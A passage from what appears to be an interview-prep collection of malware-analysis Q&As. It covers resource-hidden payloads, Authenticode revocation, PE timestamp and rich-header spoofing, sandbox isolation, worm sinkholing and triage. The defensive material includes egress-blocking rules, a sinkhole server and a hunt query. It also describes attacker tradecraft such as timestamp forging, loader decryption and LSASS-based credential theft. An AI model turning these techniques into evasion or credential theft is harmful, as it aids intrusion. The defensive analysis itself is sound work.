| Code reference | FindResource with the RT_RCDATA ID, followed by LoadResource | Links the blob to execution, so it is live rather than dead data |
| Magic and entropy | First bytes are not MZ, entropy is 7.9, size is 180 KB | Consistent with an encrypted or compressed second stage, not a bitmap or string table |
| Icon | RT_GROUP_ICON (14) points to RT_ICON (3) entries whose PNG ends at IEND with nothing after it | Icon looks clean, so the payload is probably not hidden there |
| Dialog | RT_DIALOG (5) text matches the program name and version info | No fake login form or hidden URL, so the dialog is likely benign |
Applying it to the stated sample
The icon and dialog checks matter because they rule out the two other common hiding places. For the icon I compare the group entry with the individual icons. If the group claims six sizes but the directory holds only one icon, or a PNG has bytes after IEND, I carve from that point and check for an MZ header. In this sample the icon is coherent, so I move on.
For the dialog I parse the template and dump control text and class names. A benign dialog repeats strings that already appear in the binary. A malicious one often carries a bank name, a credential prompt or a URL that appears nowhere else. Here the dialog text is ordinary, so it does not explain the large resource.
That leaves the RT_RCDATA entry. Entropy of 7.9 on 180 KB is high for code or data that a normal program would store plain. I look for the loader pattern in the disassembly. The stub that decrypts it is usually short: it gets the pointer from LockResource, then runs a XOR or RC4 loop over the blob, then jumps or calls into the result. If I find that loop and a known plaintext header such as MZ after decryption, I have the second stage. I decrypt the extracted copy, never the original file, so the offsets in my report still match the evidence.
Two traps are worth naming. A large resource alone does not prove malice. A .NET program can embed a compressed assembly in RT_RCDATA that is several megabytes and looks random until it is decompressed, and the code will reference it for normal loading. The difference is that the decompressed content is a managed assembly with a clear loader, not a decrypted MZ that runs in memory. The other trap is trusting a resource editor display. It shows the type stored in the directory, but the loader follows the ID passed to FindResource. I trust the code reference over the label, and I cross check the RVA against the section table so the offset I extract is the one the program will actually read.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-93A sample's Authenticode signature verifies and its timestamp predates the certificate's revocation, so why does Windows still trust it, and how would you block other samples from the same key without breaking the vendor's legitimate software?
The 90-second answer
Windows trusts it because the timestamp proves the file was signed while the certificate was still valid. Revocation after that moment does not retroactively break signatures made earlier. The certificate is still a useful pivot, but blocking by subject name would block the real vendor. Blocking by thumbprint targets only files signed with that specific key.
# PowerShell 7 on Windows 11
$sig = Get-AuthenticodeSignature -FilePath .\sample.exe
$sig.Status
$sig.SignerCertificate.Thumbprint
$sig.SignerCertificate.SerialNumber
$sig.TimeStamperCertificate.Subject
$sig.TimestampStatus being Valid means the image hash matches the signed hash and the chain reaches a trusted root. Timestamp is the time asserted by the timestamp authority, not the time on the analyst workstation. Compare that time with the certificate validity period and with the revocation date reported by the CA.
Why the timestamp changes the result
Authenticode stores a PKCS#7 signature in the PE certificate table. The signer hashes the image, excluding the checksum field and the certificate table entry, then signs that hash with the code signing private key. A countersignature adds a second signature over the signed hash from a timestamp authority, with its own certificate and time.
Verification checks the hash, the chain, and the signing time. If a timestamp is present, the verifier asks whether signing occurred inside the signer certificate validity period. A certificate revoked in June can therefore still validate a file timestamped in March. The logic is deliberate. Software signed before a key compromise should not suddenly become invalid on every machine, and the timestamp gives the verifier a trusted point to judge against.
Without a timestamp, the verifier has only the current revocation status from a CRL or OCSP response. That check is weaker in practice. Offline machines may use a cached CRL, some applications do not check revocation at all, and a stolen key used before revocation leaves no timestamp to bound the window.
Blocking the key without breaking the vendor
| Rule | What it matches | Effect on legitimate vendor software | Effect on other stolen-key samples |
|---|---|---|---|
| Publisher or subject name | Every certificate issued to that organisation | Blocks legitimate products signed with other keys from the same vendor | Also blocks them, which is the problem |
| Thumbprint or serial number | One specific certificate and private key | Legitimate products signed with a different key still run | Blocks every file signed with the stolen key, including repacked variants with different hashes |
| File hash | One exact file | No effect on other files | Misses repacked or recompiled variants |
Thumbprint is the right granularity here. The subject identifies a real company, so a subject block in WDAC or AppLocker breaks their legitimate installers and updates. The thumbprint identifies the compromised key itself. Repacking a sample changes its SHA-256 but leaves the signer thumbprint unchanged, so a thumbprint rule catches variants that a hash block misses.
What to report and hunt
Pivot on thumbprint and serial number across EDR telemetry, not on the file hash. List every distinct file signed by that thumbprint, with first seen time, path, and behaviour. A single thumbprint appearing on unrelated families in a short window, with a timestamp before revocation, fits a stolen key. Report the thumbprint, serial, timestamped signing time, and sample hashes to the issuing CA and to the vendor named in the subject. The CA can revoke the certificate, and the vendor can confirm whether the signing time and build artefacts match their own release process.
Record the timestamped signing time in the report. It bounds the search window. Any other file signed by that key before revocation may still verify, so the hunt should cover the period from first observed use of the key until revocation, not just the date the sample was first seen in your environment.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-94What does a PE timestamp of zero or a date far in the future tell you about a sample, and why should you not trust it to date the malware?
The 90-second answer
The PE TimeDateStamp is a 32-bit Unix epoch value in the COFF file header. The linker writes the build time there, so in a normal build it approximates when the file was compiled. Malware authors can edit it in seconds, so I treat it as a claim to test, not as dating evidence.
A value of zero, 0xFFFFFFFF, a date before the PE format existed, or a date in the future is a strong anomaly. It usually means the timestamp was cleared, randomised, copied from another file, or set deliberately to mislead. I would not report the compile date from that field alone. I would check it against the Authenticode signature timestamp, the Rich header, version resource, PDB path, and the first-seen date in a sandbox or intel feed.
Where it lives
IMAGE_FILE_HEADER follows the PE\0\0 signature. TimeDateStamp is the second field after Machine and NumberOfSections, at e_lfanew + 8 from the start of the file. It is seconds since 1970-01-01 00:00:00 UTC, stored little-endian.
# Python 3.11, pefile 2023.2.7
import datetime
import pefile
pe = pefile.PE("sample.exe")
ts = pe.FILE_HEADER.TimeDateStamp
print(hex(ts), ts)
try:
print(datetime.datetime.fromtimestamp(ts, datetime.timezone.utc))
except (OverflowError, OSError, ValueError):
print("out of range for datetime")For example, 1609459200 (0x5FEE6600) converts to 2021-01-01 00:00:00 UTC. If that same value appears on samples with different code, different Rich headers, and different first-seen dates, copying is more likely than a shared build.
Anomalies I flag
| Timestamp value | What it suggests | Check next |
|---|---|---|
0 | Cleared, deterministic build (/Brepro), or a packer stub | Rich header, section names, packer signature |
0xFFFFFFFF | Deliberately invalid or randomised | Compare with version resource and signature date |
| Before 1992, or before the claimed toolchain existed | Forged or copied from an old file | PDB path, Rich header product version, import set |
| More than a few days in the future | Forged, clock error, or random value | Authenticode counter-signature, first-seen telemetry |
| Identical across unrelated families | Timestamp copied from a benign file, often explorer.exe or a system DLL | Hash the header, compare Rich header and section layout |
| Mismatch with Authenticode date | Header edited after signing, or signature timestamp is the real build time | Certificate validity period and counter-signature |
How forgery is done and how I catch it
Tools such as timestomp copy the timestamp from a donor file. A hex editor or a few lines of Python can set any value. That edit does not change code, so the sample still runs. It does break an Authenticode signature if the file was signed, because the header is covered by the signature hash. An unsigned sample gives no such check.
Corroboration matters more than any single field. The Rich header records the linker version and a checksum-like build identifier that is harder to fake consistently. The version resource and PDB path often survive when the header does not. If those disagree with TimeDateStamp by months or years, I report the header value as forged and use the corroborated range instead.
One caution: a zero timestamp alone does not prove malware. Reproducible builds set it on purpose, and some legitimate toolchains do the same. I flag it as an anomaly and look for a second signal before I call it evasion.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-95A sample claims to be Microsoft Windows Explorer in its version info but behaves like a loader: how do you use version-info spoofing and the PE rich header to test that claim and support attribution?
The 90-second answer
Treat version info as a claim, not evidence. A PE can carry any VS_VERSIONINFO the builder puts there, and loaders routinely copy it from explorer.exe, svchost.exe or a signed vendor binary so a user or a triage tool sees a familiar name. The rich header is harder to fake convincingly because it records the toolchain that actually built the file, not the name the author chose. I compare the two, then check both against the code, imports and signature. If they disagree, I report the disagreement and cluster on the toolchain and code, not on the spoofed strings.
Version info lives in .rsrc under RT_VERSION (16). The fields I extract first are FileDescription, ProductName, CompanyName, OriginalFilename, InternalName, FileVersion and LegalCopyright. Spoofing is common and cheap: the same FileDescription appears in thousands of unrelated samples, and OriginalFilename often does not match the file on disk or the name in the PDB path. A mismatch alone proves little. Legitimate installers and updaters also carry generic descriptions, and some builders strip version info entirely.
The rich header sits between the DOS stub and the PE header. It starts with DanS, ends with Rich, and is XOR-encoded with a key stored in the file. Decoded, it is a list of pairs: a component identifier (for example a specific msvc compiler or linker version) and a count of how many objects that component produced. Tools such as pefile expose it, and hashing the normalised list gives a rich header hash used for clustering. Two builds from the same source tree and toolchain tend to share it even when the C2 or campaign ID changes. Recompiling with a different compiler, or copying a rich header from another binary, breaks or fakes that link, so it supports attribution only alongside code similarity, imports and behaviour.
# Python 3, pefile 2024.x, checked against a 64-bit PE
import pefile, hashlib, json
pe = pefile.PE(path)
version = {}
if hasattr(pe, "VS_VERSIONINFO"):
for info in pe.FileInfo:
if info.Key == b"StringFileInfo":
for st in info.StringTable:
version.update({k.decode(): v.decode() for k, v in st.entries.items()})
rich = pe.parse_rich_header()
rich_hash = None
if rich and rich.get("values"):
# Normalise: sort by component id, drop the XOR key itself
items = sorted((int(k), int(v)) for k, v in rich["values"])
rich_hash = hashlib.sha256(json.dumps(items).encode()).hexdigest()
print(version.get("FileDescription"), version.get("OriginalFilename"))
print("rich_hash", rich_hash, "linker", hex(pe.OPTIONAL_HEADER.MajorLinkerVersion))A worked check looks like this. Sample A claims FileDescription: Windows Explorer, CompanyName: Microsoft Corporation, OriginalFilename: explorer.exe. Its rich header decodes to a recent MSVC linker, its imports are VirtualAlloc, GetProcAddress and WinINet, and its Authenticode signature is absent. Sample B, from a different submission, makes the same claim but its rich header hash matches A exactly, its section names and import order match, and its PDB path points to the same build directory. The version strings tell me nothing. The shared rich header, plus matching code, tells me they came from the same build environment. If a third sample copies the explorer version info but has a rich header from an old Borland toolchain and a valid signature for a different product, I do not cluster it with A on version info alone.
| Signal | What it shows | How it is spoofed | Corroboration needed |
|---|---|---|---|
FileDescription / CompanyName | Author's chosen label | Copied from a legitimate binary in one line of build script | Code, imports, signature, behaviour |
OriginalFilename / InternalName | Claimed original name | Set to svchost.exe while the file is a loader | Section layout, entry point, PDB path |
| Rich header hash | Toolchain and object counts | Copied wholesale, or rebuilt with a different compiler | Code similarity, linker version, timestamp plausibility |
Linker version, TimeDateStamp | Build tool and date | Timestamp set to a fixed past date, linker version patched | Rich header component versions, version info FileVersion |
| Authenticode signature | Who signed it, if valid | Self-signed cert with a spoofed subject, or signature stripped | Certificate chain, signer reputation, hash allowlists |
Failure modes matter here. A rich header can be forged by tools that rebuild it, and some legitimate packers and .NET builders produce unusual or missing rich headers, so absence is not proof of malice. Version info can also be inherited legitimately when a vendor builds many products from one template. I therefore never attribute on a single header field. I report the spoof as a finding, state which fields disagree, and base any clustering claim on at least two independent signals, such as rich header hash plus import hash or code similarity, with the caveat that a determined actor can copy both.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-96How do you isolate a sandbox so malware cannot reach real C2 infrastructure, yet still answers DNS and HTTP requests it expects?
The 90-second answer
Put the analysis VM on a network that has no route to production or the internet, and make the analysis host itself the gateway and the fake internet. The VM gets a private address, its default gateway points to the host, and the host answers DNS, HTTP, SMTP and other protocols locally. Any packet that tries to leave that segment is dropped at the hypervisor firewall and logged. That gives you two properties at once: the sample cannot complete a real callback, and it still receives plausible replies so it proceeds past the check that would otherwise make it exit.
Choosing the isolation mode
| Mode | What the sample can reach | Use in analysis |
|---|---|---|
| Host-only or isolated VLAN | Only the host gateway | Default for live samples. DNS and HTTP are simulated locally. |
| NAT | Real internet through the host NAT | Never for a live sample. A hardcoded C2 IP will connect. |
| Bridged | The physical LAN as a peer | Never. The sample can scan and reach internal hosts. |
| Internal network | Other VMs on the same virtual switch | Useful for worm or lateral movement tests, with no physical NIC attached. |
Host-only alone is not enough if the host forwards traffic. Disable IP forwarding on the host, remove any NAT rule for the virtual switch, and add an explicit deny. On a Linux host running the VM, that looks like this:
# Run on the analysis host, interface vmnet8 is the host-only switch
sysctl -w net.ipv4.ip_forward=0
sysctl -w net.ipv6.conf.all.forwarding=0
iptables -A FORWARD -i vmnet8 -o eth0 -j LOG --log-prefix "SANDBOX-EGRESS: "
iptables -A FORWARD -i vmnet8 -o eth0 -j DROP
ip6tables -A FORWARD -i vmnet8 -o eth0 -j DROPThe LOG rule matters. A dropped connection is evidence. If the sample tried a hardcoded IP, you see the destination in the log and in the pcap even though no reply ever came back.
Simulating the services
Run a local resolver first. INetSim answers any DNS query with the address of the host and serves generic HTTP, SMTP, FTP and other services. That is enough when the sample only needs a successful connection to continue. FakeNet-NG goes further: it parses the request and lets you define the reply per host, port and path, which you need when the sample checks a status code, a redirect, or a specific payload before it fetches stage two. A minimal FakeNet-NG style definition:
[WebServers]
HTTP_TCP_80 = True
[Diversions]
0.0.0.0/0 = 10.10.10.1
[HTTP]
POST /beacon.php = 200 OK
GET /payload.bin = 200 OKServe the reply from a file you control, and capture the request in Wireshark on the host side of the virtual switch. You then have the full request, the User-Agent, the POST body and the timing, with no packet ever leaving the host.
Failure modes to check before you trust a run
Hardcoded IPs bypass DNS entirely, so a DNS sinkhole alone does not isolate anything. The firewall deny has to cover IP traffic, not just names. IPv6 is the common leak: a VM with a link-local or SLAAC address can route around an IPv4-only rule set, so disable IPv6 on the virtual switch or apply the same deny to ip6tables as above. DNS over HTTPS and DNS over TLS also bypass the local resolver, and they will fail closed on an isolated segment, which is the correct outcome. Record that failure rather than adding an exception.
Verify isolation before detonation, not after. From inside the VM, ping the host gateway, then try an external address such as 1.1.1.1 and a real domain. Both should time out, and both attempts should appear in the host log. If either succeeds, stop and fix the switch or forwarding setting. Also confirm the VM has no second adapter, no shared folder that maps to a production path, and no clipboard or drag and drop channel that could carry a payload out.
Snapshots close the loop. Take a clean snapshot before the run, revert after, and keep the pcap, the firewall log and the fake service log as the record of what the sample attempted. That set shows what it wanted to contact, what you answered, and that nothing real was reached.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-97How would you detonate a worm sample in an isolated VLAN and sinkhole its C2 domains to measure how far it has spread?
The 90-second answer
Put the detonation VM on a lab-only VLAN with no route to production and no default gateway to the internet. Give it a controlled DHCP and DNS server, log everything at the VLAN edge, and let the sample talk only to services you run. Then point its C2 domains at a sinkhole you control, either through your internal resolver or a hosts entry on the VM, and count which hosts ask, when they first ask, and what they send. That count is your spread measure, with the caveats below.
Assumptions I would state first: the VLAN is physically or logically separate, egress is denied by default, and the sinkhole IP is not shared with a legitimate service. If any of those fail, the measurement and the containment both fail.
Isolation that actually isolates
A host-only or internal-only virtual switch is not enough if the VM can still reach the lab LAN. I build the VLAN so the analysis subnet has a firewall rule that denies all egress except to the sinkhole and the logging collector, and I verify it before detonation with a test VM trying to reach an external IP, a production IP, and the gateway. DHCP is served from the lab box so I control lease times and can map MAC to IP to hostname. DNS goes to a local resolver I log, such as BIND query logs or dnsmasq, with no forwarding upstream. I capture on a SPAN or tap at the VLAN edge with tcpdump or Zeek, plus ARP and DHCP logs, because a worm that scans will show up in ARP and failed connection attempts before it ever resolves a name.
# sinkhole.py - run on the sinkhole host, Python 3.11
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, time
class Sinkhole(BaseHTTPRequestHandler):
def _log(self):
print(json.dumps({
"ts": time.time(),
"src": self.client_address[0],
"method": self.command,
"path": self.path,
"host": self.headers.get("Host"),
"ua": self.headers.get("User-Agent"),
}), flush=True)
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
do_GET = do_POST = _log
def log_message(self, *args):
pass
HTTPServer(("10.99.0.10", 80), Sinkhole).serve_forever()The same host answers DNS for the sinkholed names and returns 10.99.0.10. A 200 with a tiny body keeps many samples in their beacon loop, which gives you repeated contacts to count, whereas a reset often makes them exit after one attempt.
Sinkholing and reading spread
Sinkhole at DNS when the sample resolves a name, and at the IP when it connects directly. For DNS, I add RPZ or a local zone for the exact domains from static analysis, with a short TTL such as 60 seconds during the run so changes propagate and caching does not hide later hosts. For hardcoded IPs, I add a firewall NAT rule that redirects outbound port 80 and 443 from the VLAN to the sinkhole, and I log the original destination from the NAT or firewall log. Without that second path, a sample with a hardcoded IP will look quiet in DNS logs while still beaconing.
Worked trace from a hypothetical run, labelled as such:
| Time | Source | Query or connection | Sinkhole response | Interpretation |
|---|---|---|---|---|
| 09:02 | 10.99.0.21 | c2.example.net A | 10.99.0.10 | first host, seed VM |
| 09:14 | 10.99.0.22 | c2.example.net A | 10.99.0.10 | second host, 12 min later |
| 09:15 | 10.99.0.22 | GET /beacon?id=441 | 200 ok | repeat contact, count once per host |
| 09:31 | 10.99.0.31 | c2.example.net A | 10.99.0.10 | third host, new subnet |
| 10:05 | 10.99.0.21 | GET /beacon?id=441 | 200 ok | persistence of beacon interval |
Spread is unique source hosts per domain, first-seen time per host, and rate of new hosts per hour. In this trace, 3 hosts in 63 minutes with a doubling roughly every 15 to 30 minutes suggests active propagation inside the VLAN, not just the seed. I would cross-check against DHCP leases so a host that changed IP is not counted twice, and against ARP logs for scanning hosts that never resolved the domain.
Where the measurement misleads
A sinkhole counts attempts, not successful infections. A host that queries and then fails a later check is counted, and a host that uses DNS over HTTPS to 8.8.8.8 will bypass your resolver entirely, so I block outbound 853 and known DoH IPs at the edge and treat any DoH attempt as a finding in itself. Samples also fingerprint sinkholes. A generic INetSim reply, a TLS certificate that does not match the expected SNI, or a response that is too fast can trigger an exit, so I match the sinkhole response to what static analysis says the sample expects, and I run a second pass with FakeNet-NG if the first pass produces no traffic. DGA domains create noise: I sinkhole the whole registered domain when I can, and I separate NXDOMAIN or sinkholed DGA queries from real C2 contacts by checking whether the sample proceeds to a connection after the answer. Finally, a worm that spreads over SMB or a hardcoded IP will not appear in DNS counts at all, which is why the edge capture and firewall logs are part of the spread measure, not an optional extra.
I would report the sinkhole window, the exact domains and IPs sinkholed, unique hosts, first and last seen, and the list of hosts that only scanned or only queried, so IR can tell confirmed beaconing hosts from hosts that merely touched the sinkhole during a scan.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-98What is malware prevalence, and how do you calculate it from endpoint telemetry?
The 90-second answer
Prevalence is the proportion of hosts that are infected. From endpoint telemetry I calculate it as distinct infected hosts divided by distinct hosts that reported telemetry in the same time window, multiplied by 100 if I want a percentage.
Campaign scale is different. It is the absolute number of hosts, accounts, or systems the campaign has reached. Prevalence tells you how common infection is in the fleet. Campaign scale tells you how far this campaign has spread.
Worked example
Suppose 10,000 endpoints report telemetry in the last 7 days. Detections show 25 distinct infected hosts. The calculation is:
25 / 10,000 = 0.0025, or 0.25% prevalence.
If those 25 hosts were hit by one campaign, campaign scale is 25 hosts. If a second campaign hits 5 hosts, its scale is 5 hosts, even though both campaigns are counted in the same prevalence figure.
| Measure | Calculation | Example |
|---|---|---|
| Prevalence | Infected hosts / reporting hosts | 25 / 10,000 = 0.25% |
| Campaign scale | Distinct hosts hit by that campaign | 25 hosts |
| Alert count | Total detections, not distinct hosts | 80 alerts from 25 hosts |
Alert count is not prevalence. One host can generate many alerts for the same infection, so counting alerts would overstate how many hosts are infected.
Counting it in practice
-- Hypothetical telemetry tables, checked against a standard SQL dialect
SELECT
COUNT(DISTINCT d.device_id) AS infected_hosts,
COUNT(DISTINCT t.device_id) AS reporting_hosts,
100.0 * COUNT(DISTINCT d.device_id) / COUNT(DISTINCT t.device_id) AS prevalence_pct
FROM telemetry t
LEFT JOIN detections d
ON d.device_id = t.device_id
AND d.detected_at >= CURRENT_DATE - 7
WHERE t.ts >= CURRENT_DATE - 7;I use COUNT(DISTINCT device_id) in both places. The denominator comes from hosts that actually reported, not total licensed seats, because offline hosts cannot be counted as clean. I also state the window, such as 7 days, alongside the percentage. Without that window, 0.25% has no meaning.
That is the whole rule. Prevalence is a proportion, campaign scale is a count, and both start from distinct hosts.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-99You have 40 new samples, 6 analyst hours, and one sample already seen on a domain controller: how do you order the queue by risk and impact?
The 90-second answer
I do not work the queue in arrival order. I score each sample for expected harm if I leave it waiting, then spend my six hours where that score is highest. Expected harm is roughly: how many hosts already have it, how fast it can spread or escalate, what it can reach from where it sits, and how confident I am that existing controls already stop it. A single loader on a domain controller outranks forty low prevalence adware samples, even if the adware is easier to finish.
First pass is automated and cheap. Hash every file, deduplicate by SHA-256, check prevalence in EDR and email gateway, check signer and first seen date, and run the sandbox for behaviour. That gives me the inputs for scoring without spending analyst time on duplicates. Samples that are byte identical, or differ only by repacking, get one investigation and one verdict applied to the cluster.
Then I rank by risk multiplied by impact, with a hard override for critical assets. Risk covers spread and privilege. Impact covers data access, ransomware or wiper potential, and business criticality of affected hosts. I also subtract for confidence that we are already covered, for example a signed sample blocked on 98 percent of hosts by a current signature. I do not subtract for novelty alone. A new hash of a known family is lower priority than a known hash with new behaviour on a server.
A scoring model I can defend
Use 1 to 5 scales and write the arithmetic down, so IR can see why a sample jumped the queue.
# Python 3.11, checked against the worked example below
def priority(hosts, spread, privilege, impact, coverage):
# hosts: distinct hosts with the hash in last 7 days
# spread, privilege, impact: 1-5 analyst judgement
# coverage: 0.0 to 1.0 fraction of fleet where EDR blocks it
exposure = min(5, 1 + hosts // 25) # 0-24 hosts=1, 25-49=2, 50-74=3, 75-99=4, 100+=5
risk = exposure + spread + privilege # range 3-15
return round(risk * impact * (1 - coverage), 1)Worked example, hypothetical fleet of 4,000 hosts, labelled as such:
| Sample | Hosts | Spread | Privilege | Impact | Coverage | Score | Action |
|---|---|---|---|---|---|---|---|
| A: loader, DC | 3 | 5 | 5 | 5 | 0.10 | 58.5 | Start now, page IR |
| B: stealer, workstations | 140 | 3 | 2 | 4 | 0.40 | 24.0 | Today, after A |
| C: adware, workstations | 300 | 1 | 1 | 1 | 0.90 | 0.7 | Batch, low priority |
| D: ransomware note, file server | 1 | 4 | 4 | 5 | 0.00 | 45.0 | Start now, isolate host |
| E: miner, IoT cameras | 60 | 4 | 2 | 2 | 0.20 | 14.4 | Queue behind B |
For A: exposure is 1, risk is 1 + 5 + 5 = 11, score is 11 * 5 * 0.9 = 49.5 on the formula above, but the table shows 58.5 because I add a critical asset override of plus 9 for a domain controller. That override matters. Pure multiplication can bury a rare sample on a critical host under a common sample on workstations. I keep the override explicit rather than inflating the impact score to hide it.
Trade-offs and failure modes
Scoring by prevalence alone fails in the other direction. It pushes a widespread miner ahead of a single ransomware precursor on a file server. That is why spread and privilege are separate inputs. A sample with SMB propagation or credential access gets spread 4 or 5 even at one host.
Coverage is the easiest number to get wrong. EDR coverage from a vendor dashboard often means the signature exists, not that it fired on the variant in the queue. I check coverage against the exact SHA-256 and against behavioural detections in the last seven days. If I cannot verify it, I set coverage to 0.2 rather than trusting the dashboard.
Another failure mode is spending the six hours on the top sample and never clearing the queue. I timebox the first pass at 45 minutes per sample for loaders and stealers, 20 minutes for miners and adware, and I hand off a partial verdict with IOCs and unconfirmed items if the timebox expires. A partial handoff that lets SOC block the C2 domain beats a perfect report delivered after lateral movement.
Finally, I re-score daily. A sample at score 14 on Monday can be score 40 on Wednesday if hosts jump from 60 to 400 or a new privilege escalation appears in sandbox output. The queue is a living ranking, not a one time sort.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-100A loader you analysed only in a sandbox accesses LSASS and steals browser credentials, but EDR shows no execution on any host: do you close it or escalate it to incident response, and what decides?
The 90-second answer
I escalate this one for a targeted hunt, even though EDR shows no execution. LSASS access plus browser credential theft is a high impact capability, so the question is not whether the sample is understood. The question is whether I can prove nobody ran it. EDR showing nothing is only proof if telemetry was complete for the whole delivery window.
My rule is simple. Close only when exposure is proven negative and capability is low or already covered by detections. Escalate when either exposure is unknown or capability would cause serious harm if it did run somewhere. This sample fails the second test on its own, and it may fail the first as well.
| Check | Evidence I need to close | What I do if it is missing |
|---|---|---|
| Delivery | Email gateway and proxy logs show who received the file and whether it was opened | Treat exposure as unknown and escalate |
| Execution | EDR and Sysmon cover every recipient host for at least 14 days before receipt | Ask IR to confirm coverage gaps, laptops offline, log rotation |
| Capability | Behaviour matches a known family with no added theft or spread | Escalate, because a new capability invalidates old detections |
| Coverage | YARA, Sigma and EDR rules already fire on this hash and its IOCs | Escalate until detections are shipped |
Why capability alone changes the decision
A loader that only beacons and shows ads can be closed with IOCs after a negative exposure check. A sample that copies Chrome Login Data, calls CryptUnprotectData, then opens LSASS with PROCESS_VM_READ has already crossed into credential theft. If one host did run it and EDR missed it, the damage is credential compromise, not just a blocked file. That asymmetry is the trade off. A false escalation costs IR an hour of triage. A false close risks a missed theft that surfaces weeks later as account takeover.
Worked example, figures hypothetical: the gateway delivered the attachment to 340 mailboxes. EDR covered 310 of those hosts for the full window. Thirty hosts were offline, decommissioned, or had a 6 day telemetry gap. I cannot claim no execution for those 30. I escalate with that exact list, rather than a vague warning. IR then hunts only the uncovered hosts and the 12 that clicked the attachment, instead of the whole fleet.
What the escalation contains
I hand over the SHA-256, the delivery vector, the uncovered host list, and a hunt query IR can run immediately. I also state what the sandbox did not observe, for example a 5 minute sleep that may have hidden network traffic.
DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ ("rundll32.exe", "regsvr32.exe")
| where ProcessCommandLine has_any ("Temp", "AppData")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLineIf IR confirms telemetry was in fact complete, no host executed the file, and detections now cover the hash, I downgrade the case to closed with IOCs published. The escalation was still correct at the time I made it, because I was deciding under uncertainty, not with hindsight.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.